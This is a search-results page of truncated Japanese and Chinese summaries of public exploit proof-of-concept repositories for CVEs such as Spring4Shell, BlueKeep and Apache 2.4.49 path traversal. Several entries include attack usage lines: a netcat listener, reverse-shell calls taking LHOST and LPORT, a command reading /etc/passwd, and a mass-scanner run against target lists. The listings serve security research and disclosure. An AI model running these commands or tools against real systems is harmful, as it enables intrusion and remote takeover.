117 matches found
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress プラグイン RCE 3.5.3 Wordpress用Social Warfareプラグイン バージョン3.5.3未満におけるリモートコード実行。このPoCは追加のHTTPサーバーを実行する必要はありません。ローカルIPと希望するポートを指定するだけで、エクスプロイトが独自のスレッドでサーバーを作成します。 使用方法 root@kitploit: usage: CVE-2019-9978.py -h -t TARGET -l LHOST -p LPORT -c COMMAND options: -h,...
spring4shell-exploit-poc
Spring4Shell 漏洞利用概念验证 利用存在Spring4Shell漏洞的Spring应用程序。在我们的博客上了解更多关于Spring4Shell的信息。 使用方法 依赖项：Docker 和 docker-compose root@kitploit: $ ./exploit.sh 存在漏洞的 Spring 应用程序 存在漏洞的 Spring 应用程序包含一个针对 /helloworld/greeting 的 GET 和 POST 请求处理程序。exploit.sh 脚本启动运行 Tomcat 9.0 的应用容器，应用程序打包为 WAR，并使用 curl 将 WebShell 写入...
CVE-2022-32250
CVE-2022-32250 这是我针对 CVE-2022-32250 编写的漏洞利用程序，完全基于 NCC Group 的博客 的研究。 测试环境：内核版本 5.13 成功率：约 70% 编译 编译需要 libmnl 和 libnftnl。 root@kitploit: make all 免责声明 该概念验证（Proof-of-Concept）及漏洞分析文章仅供教育和研究目的使用。请自行承担使用风险。...
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 このリポジトリには、Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution の詳細な説明と動作する PoC が含まれています。 設定: Netcat リスナーを作成します。 root@kitploit: nc -lnvp 1234 攻撃者の IP をあなたの IP とポートに変更します。 また、nc.exe が存在する同じディレクトリに HTTP ファイルサーバーを作成します。 root@kitploit:...
Exploits
漏洞利用（Exploits） 原创CVE、利用PoC和安全公告 作者：@kmkz · boffsec-services.com · @kmkzsecurity 2026年 文件| 目标| 类型| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| 公告（3-CVE链）| 9.3 CVE-2026-22191-POC.py| SicuroWeb / Beghelli Sicuro24| PoC（mitmproxy）| 9.3...
CVE-2026-9082-Mass_Scanner
CVE-2026-9082-MassScanner 用于 Drupal Exploit CVE-2026-9082 的 Mass Scanner 要设置 ExploitPOC 脚本，请执行以下命令： root@kitploit: pip install requirements.txt 要使用 ExploitPOC 脚本，请执行以下命令： root@kitploit: python exploitpoc.py -t targets.txt -o results.txt -p 16 这是一个针对 Drupal CMS 最新漏洞 CVE-2026-9082 的 Mass Scanner。Ma...
pub
❤ 成为英雄，打赏一杯 🍺 🙂 ⟶ Ƀ : 1AZMeGVfCBbYwVYyG9s79pJDyocTZgiApa | Ξth : 0x438B38E30eF117C15fBfF833f9C2c70182925815 由 tintinweb 披露的漏洞利用 PoCs 与工具。 公开 root@kitploit: police line - do not cross ==== police line - do not cross ==== police line - do not cross ==== ==== police line - do not cross ==== police...
Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution
Apache HTTP-Server 2.4.49-2.4.50 パストラバーサル & リモートコード実行 説明 これは CVE-2021-41773 および CVE-2021-42013 の PoC スクリプトです。 使用方法: root@kitploit: python3 exploit.py | 例: リモートコード実行 root@kitploit: python3 exploit.py 127.0.0.1 8080 rce 'id' パストラバーサル root@kitploit: python3 exploit.py 127.0.0.1 8080 file '/etc/passw...
CVE-2022-23935
简介 CVE-2022-23935 漏洞利用 PoC exiftool 版本 12.37 安装 root@kitploit: git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools 用法 root@kitploit: ./CVE-2022-23935...
CVE-2019-18818
CVE-2019-18818 Strapi = 3.0.0-beta 漏洞利用 PoC...
CVE-2024-36877
CVE-2024-36877 CVE-2024-36877 のエクスプロイト POC 詳細な解説は私のブログにあります - https://jjensn.com/at-home-in-your-firmware https://github.com/user-attachments/assets/71f30cda-61e3-49ea-b856-959746349f2d...
CVE-2020-0910
CVE-2020-0910 動作するエクスプロイトPoC CVE-2020-0910 - Reverse Bind Shell Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
CVE-2020-7247-exploit
CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 リモートコード実行 PoC エクスプロイト 参照: https://www.openwall.com/lists/oss-security/2020/01/28/3 使用方法 root@kitploit: python3 exploit.py 依存関係 root@kitploit: pip3 install --user pwntools...
CVE-2019-0708-EXP-Windows
CVE-2019-0708-EXP-Windows-Version お断り 著者のPOCは研究目的のみです。読者が本POCを他の目的に使用した場合、著者は一切の責任を負いません。 目次 toc 紹介 CVE-2019-0708-EXP-Windows版は単一ファイルのexeとして動作し、Linux、Python、Ruby等は不要です。実行後、現在のコンソールに直接System権限のシェルが起動します。 コンパイルは全静的ライブラリモードを採用し、すべてのDLLをインライン化、netcatとopensslを統合、プログレスバー表示とシェルのエコー操作をサポートします。 再現環境 1...
CVE-2020-5902
CVE-2020-5902 BIG-IP CVE-2020-5902 エクスプロイトPoCおよび自動スキャン脆弱性 BIG-IPをエクスプロイトし、脆弱性を自動スキャンするシンプルなプログラム インストール gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...
CVE-2020-0096-strandhogg-exploit-p0c
此存储库没有 README。...
CVE-2019-0708
CVE-2019-0708 BlueKeep CVE-2019-0708 の PoC エクスプロイト 使用方法: ./PoC.py TARGET IP PORT...
CVE-2025-55182
CVE-2025-55182 React2Shell エクスプロイト PoC ⚠️ 警告: このプロジェクトはセキュリティ研究目的のみに意図的に脆弱なソフトウェアを使用しています。 クレジット PoCの全クレジットは @maple3142 に帰属します セットアップと実行 Docker root@kitploit: docker-compose up --build アプリは http://localhost:3000 で利用可能になります エクスプロイト root@kitploit: python3 CVE-2025-55182.py ⚠️ 法的免責事項...
CVE-2022-RCE
CVE-2022-XXXX 逆スパムデータ配信 CVE購読 ツール 悪用 チュートリアル Exploit POC RCE LOG4j デシリアライゼーション JNDI Payload CVE-2022-20550 CVE-2022-20551 CVE-2022-20552 CVE-2022-20553 CVE-2022-20554 CVE-2022-20555 CVE-2022-20556 CVE-2022-20557 CVE-2022-20558 CVE-2022-20559 CVE-2022-20560 CVE-2022-20561 CVE-2022-20562...